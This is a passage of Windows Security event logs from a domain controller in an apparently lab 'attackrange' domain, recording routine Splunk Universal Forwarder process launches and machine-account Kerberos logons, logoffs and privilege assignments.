new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1084 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:03:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256183 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3C4DE6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:03:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256182 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3C4DE6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51293 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:03:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256181 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3C4DE6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:04:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256184 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa24 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:04:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256186 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1034 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:04:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256185 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf78 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:04:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256188 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1328 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:04:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256187 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:04:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256189 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcfc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:04:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256190 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc4c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:04:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256193 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3C83A6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:04:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256192 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3C83A6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51306 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:04:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256191 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3C83A6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:05:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256194 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x110c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:05:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256196 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x340 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:05:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256195 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:05:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256197 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:05:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256198 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf3c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:05:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256199 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb38 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:05:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256200 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:05:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256203 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3CC912 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:05:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256202 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3CC912 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - 